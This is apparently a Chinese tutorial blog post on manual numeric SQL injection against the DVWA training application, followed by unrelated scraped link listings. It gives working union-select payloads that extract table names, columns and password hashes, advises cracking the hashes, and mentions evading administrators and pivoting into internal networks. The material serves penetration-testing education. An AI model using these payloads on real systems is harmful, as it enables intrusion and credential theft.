环境:dvwa 1.7数据库:mysql

dvwa的安全等级:medium

一、分析和查找注入点

(1)知识点回顾

如果上一篇有好好读过的同学应该知道,我们上一篇遇到的字符型注入。也即是通过Get或者Post方式传进去的数据被单引号或者双引号包裹住。如果我们想要注入自己的payload(有效载荷)的话,则我们必须先闭合前面的单引号或者双引号,否则我们的数据始终会被当做成字符串来处理。

这种类型的注入点成为字符型注入点。

(2)这次我们的把防御等级提升了一个层次,来逐步加强我们手工注入的能力以及开更多关于sql注入的脑洞!这次我们依旧先分析web应用的功能,然后测试我们输入的参数是否被正确的处理。

1、还是来到我们SQL injection这里,可以看到这里还是和上次一样,给出一个输入框,让我们输入ID的数值,然后返回对应ID的firstname,surname这两个信息。

[1]当我们输入正常的数字1的时候,可以看到返回对应数据

[2]当我们输入“1’”的时候,可以看到有报错信息。也就是说用户的输入没有被正当的处理,从而引起数据库的语法错误,看起来有戏!

同时我们仔细观察一下,我们输入的“’”被“\”转义了,变成了这样子“\’”。也就说这里,应用程序进行的过滤应该是利用php里面addslashes类似的函数,这个函数会处理四个数据。分别是单引号【’】、双引号【”】、反斜杠【\】、空字符【null】。

[3]这里我们继续测试,看一看是不是用了类似的函数

测试数据:

(1) “1””

(2)“1\”

(3)“%00”注意因为我们没办法用键盘输入空字符,但是可以在url上使用%00来表示,所以才会有地址栏上的%00

(4)测试一下其他的字符,“-”、“&”。可以发现虽然也是报错了,可是并没有出现转义字符

2、这个时候我们思考一下,要是字符型的注入点,我们的输入单引号已经被转义,按道理来说不应该出现报错的信息。

首先还是选择数据库为dvwa

use dvwa;

这里我们在本地数据库测试一下。

select * from users where user_id = '1\'';

可以看到当我们的输入语句带上转义的单引号时,不但没有报错还能查询成功。

(1)不报错的原因是,这里的单引号已经被转义,从而整个字符串的值为 1\’

(2)那为什么会查询成功呢?

这里涉及的知识是强制类型转换,我们先来看一下表的定义

describe users;

可以看到user_id这个类型是int整型,当我们的查询像上面的一样的时候,mysql会将字符串强制类型转换成int类型,但是这种转换是有缺陷的!

下面给出三个例子,大家感受一下!

select * from users where user_id = '1abdc';
select * from users where user_id = 'abdc';
select * from users where user_id = '2abdc';

上面的例子中,第二个因为一开始没有数字,所以在转换类型的时候,会转换成0。

具体可以看一下这个例子。

3、根据上面两部分的分析,我们可以知道这次我们传进去的数据并不是被包裹在单引号或者双引号里面的,这时候我们得介绍第二种类型的注入点了,数字型注入。

(1)测试,说明是数字型,那我们来进行简单的加减运算就可以知道它是否存在注入点了。

测试:在输入框里面

[1]输入2的时候,反馈的是ID为2的用户信息

[2]输入1+1的时候,反馈和2的结果一样。也就是说明这里存在注入点。类似的也可以使用减号“-”、“*”、“/”这些运算符号。

PS:但是这里需要注意的是,在URL中“+”是有特别含义,它表示的是空格。所以在URL中我们需要使用“%2B”来代替“+”。

二、构造payload

简单说明:其实数字型注入就是我们的数据不需要再闭合单引号可以直接注入到查询中。所以之后构造payload部分很大程度和字符型一样。

1、猜测字段数

这里使用order by 来猜测

Payload:

1 order by 1
1 order by 2
1 order by 3

可以发现在3的时候,出现错误。因而可以得出字段数为2

2、之后的过程和字符型注入一样,只不过是去掉了Payload前面的单引号以及最后面的注释符号。要是有疑惑的可以看上一篇文章。不过这里要重点的提一下,要是我们想要使用字符串的话,可以有两种方法。

[1]使用字符串的十六进制来表示,例如admin转化为十六进制,为“61646D696E”

然后我们之后在十六进制前加上0x61646D696E

我们构造的payload像这样即可

select * from users where user = 0x61646D696E;

[2]使用char函数,但这里char函数使用的参数是十进制的ascii数值。比如admin

CHAR(97, 100, 109, 105, 110)

构造的payload像这样即可

select * from users where user = CHAR(97, 100, 109, 105, 110);

3、这里构造最终的payload

获取数据库名:

-1 union select 1,database()

获取表名:

-1 union select table_name,2 from information_schema.tables where table_schema = database()

获取users表的列名

-1 union select column_name,2 from information_schema.columns where table_schema = database() and table_name = 0x7573657273

获取数据表内容

-1 union select user,password from users;

4、好了又到去MD5网站破解密码的时候,小伙伴兴奋否,又是一次验证自己成果的时候。

这里我们选择用户名为1337的用户,好!

Duang ,密码出来了!开心死了

三、好了,到开脑洞时刻

这个时候我们来了解一下什么是黑盒测试以及白盒测试?

1、黑盒测试

黑盒:言下之意就是我们对web应用所知甚少,就像我们对一个封闭的箱子的了解一样,我们能够获取的信息很少。我们所拥有的是数据的输入口,以及数据的输出口!

(1)通过构造特定的输入来观察输出,从而去分析web应用是如何去处理我们的数据。比如上面,我们输入的id值被转义了,但是我们不清楚是不是只对某一部分的内容就行转义,于是我们利用”&”、”-“、”+”这些特殊字符去测试。

(2)一般来说,要是我们在前期测试获取了足够多的信息,可以搭建本地环境,然后对本地环境进行模糊测试(也就是输入大量无序特别的的数据,去观察应用程序的反应),同时也可以避免大量测试引起管理员的注意

(3)对于黑盒测试来说,更像我们正常的渗透。我们通过搜索引擎,各种信息泄露的查询方法来获取关于web应用方面的信息!

而我们这两次的学习都是黑盒测试,因为我们只拥有数据的输入以及可以获取数据的输出。

2、白盒测试

白盒:与黑盒测试相反,我们知道的信息很多。

(1)可以知道web应用的逻辑,它会怎样处理输入数据,比如我们被告知输入部分被”\”转义,这个时候,我们就会去思考,怎么构造payload吃掉”\”。

(2)可以知道web应用所具有的功能,比如被告知有文件上传功能,这个时候我们去思考是否存在文件上传漏洞,或者服务器的解析漏洞

(3)可以知道网络拓扑结构,我们则可以通过指定渗透流程,比如先拿下web服务器,然后利用web服务器来打开内网的大门。

(4)有时还可以知道源码,要是可以知道源码的话,可以通过分析应用程序如何过滤输入,然后找到其不严谨的地反,既可以绕过!

渗透学习笔记--基础篇--sql注入(数字型)相关推荐

  1. Redis学习笔记①基础篇_Redis快速入门

    若文章内容或图片失效,请留言反馈.部分素材来自网络,若不小心影响到您的利益,请联系博主删除. 资料链接:https://pan.baidu.com/s/1189u6u4icQYHg_9_7ovWmA( ...

  2. MySQL学习笔记-基础篇1

    MySQL 学习笔记–基础篇1 目录 MySQL 学习笔记--基础篇1 1. 数据库概述与MySQL安装 1.1 数据库概述 1.1.1 为什么要使用数据库 1.2 数据库与数据库管理系统 1.2.1 ...

  3. MySQL学习笔记-基础篇2

    MySQL学习笔记-基础篇2 目录 MySQL学习笔记-基础篇2 8.子查询 8.1 需求分析与问题解决 8.1.1 实际问题 8.1.2 子查询的基本使用 8.1.3 子查询的分类 8.2 单行子查 ...

  4. 【白帽子学习笔记14】SQL注入常用语句

    [白帽子学习笔记14]SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS.SQL Server(MSSQL).MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 ...

  5. mysql sql注入工具_基础篇——SQL注入(工具注入)

    注入工具 上一篇介绍了SQL注入漏洞以及一些手工注入方法,本篇介绍一下注入工具 1.sqlmap sqlmap属于比较经典的一个注入工具,功能强大,还自带一些绕过参数 使用方法: sqlmap.py ...

  6. extlink.php,ExtJs 学习笔记基础篇 Ext组件的使用_extjs

    昨天刚接触到Extjs,简单写了篇学习笔记,今天继续. 天介绍一下Ext中组件举几个简单的例子做说明.注意:文章内容有些摘自本人学习过程中看到的资料. Ext2.0对框架进行了非常大的重构,其中最重要 ...

  7. 【渗透学习之基础篇】002网络安全法

    获取更多学习资料.想加入社群.深入学习,请扫我的二维码或加Memory20000427,诚意教学,白嫖绕道. 网络安全法 第二十七条 任何个人和组织不得从事非法侵入他人网络.干扰他人网络正常功能.窃取 ...

  8. 易语言学习笔记——基础篇

    易语言学习笔记20180710 一. 易语言的数据类型可以分为基本数据类型和特殊数据类型 1.     其中基本数据类型分为: ①   数值型 ②   逻辑型 ③   日期时间型 ④   文本型 ⑤  ...

  9. python3多线程编程_Python 3多线程编程学习笔记-基础篇

    本文是学习<Python核心编程>的学习笔记,介绍了Python中的全局解释器锁和常用的两个线程模块:thread, threading,并对比他们的优缺点和给出简单的列子. 全局解释器锁 ...

最新文章

  1. Tesla T4视频编码性能分析
  2. confirm自定义按钮文字_公众号涨粉神器——自定义菜单,互动运营更灵活!
  3. python读取json文件转化为list_Python从所有子目录读取JSON文件
  4. Stream流中的常用方法_skip
  5. Windows部署服务WDS实例
  6. DSX2-5000 CH测试结果使用福禄克LinkWare Live软件的好处
  7. 面向对象软件开发代码结构(2)
  8. A star 算法 (Python)
  9. Mac用户如何在Deckset中使用Ulysses?
  10. 容器 - HashTable
  11. 盈建科中地震波_[GMS][地震波][选波]YJK地震波反应谱分析与地震波选取
  12. numpy返回上下三角矩阵
  13. 纠缠谎言蒙蔽双眼 而真实 已埋没
  14. C/C++一些常见的错误
  15. Android一个类似腾讯 QQ 背景图片可以上下左右移动的 imageview
  16. 习语言(c语言)轻松入门教程
  17. CISSP第5/8知识点错题集
  18. 手撸一个网页版看板(仿照板栗看板样式)
  19. Python+Django+Mysql开发在线购物推荐网 协同过滤推荐算法在购物网站中的运用 个性化推荐算法开发 基于用户、物品的协同过滤推荐算法 机器学习、分布式大数据、人工智能开发
  20. Spring初使用:使用Spring为对象的属性赋值

热门文章

  1. win32 串口阻塞的方式发送接收数据
  2. 用php写弧度转角度,Python中转换角度为弧度的radians()方法
  3. mysql安装过程遇到的问题_个人在mysql安装过程中遇见的问题
  4. nginx基础概念(100%)之keepalive
  5. python读取读excel,日期变成了数字,解决方法记录
  6. 嵌入式Linux系统编程学习之二十七线程的创建和退出
  7. 如何删除Smartphone手机与Office同步后的重复项,如联系人、日程等。Keyword:office,Outlook,删除,重复项目...
  8. 浅入深出Vue:注册
  9. BZOJ 1232 USACO 2008 Nov. 安慰奶牛Cheer
  10. 刷题总结——湫湫系列故事——设计风景线(hdu4514 并差集判环+树的直径)